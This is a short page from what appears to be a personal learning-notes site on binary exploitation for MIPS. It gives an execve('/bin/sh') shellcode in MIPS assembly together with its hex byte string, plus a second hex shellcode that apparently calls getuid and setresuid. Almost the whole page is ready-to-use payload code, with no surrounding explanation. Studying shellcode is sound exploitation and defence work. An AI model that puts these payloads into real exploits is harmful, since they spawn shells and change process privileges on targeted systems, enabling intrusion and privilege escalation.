Skip to content
🎉 Welcome! Enjoy your reading, and I hope you will learn something new.
Learning Notes
Binary Exploitation
Architectures
MIPS

MIPS

Architecture

Assembly

Syscalls

Shellcodes

exec /bin/sh 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

lui $t7, 0x2f2f
ori $t7, $t7,0x6269
lui $t6, 0x6e2f
ori $t6, $t6, 0x7368
sw $t7, -12($sp)
sw $t6, -8($sp)
sw $zero, -4($sp)
addiu $a0, $sp, -12
slti $a1, $zero, -1
slti $a2, $zero, -1
li $v0, 4011
syscall 0x040405
"\x3c\x0f\x2f\x2f\x35\xef\x62\x69\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xaf\xff\xf4\xaf\xae\xff\xf8\xaf\xa0\xff\xfc\x27\xa4\xff\xf4\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x4c"

setresuid() 

"\x34\x02\x0f\xd1\x01\x01\x01\x0c\xaf\xa2\xff\xfc\x8f\xa4\xff\xfc\xaf\xa2\xff\xfc\x8f\xa5\xff\xfc\xaf\xa2\xff\xfc\x8f\xa6\xff\xfc\x34\x02\x10\x59\x01\x01\x01\x0c"

Resources

Last updated on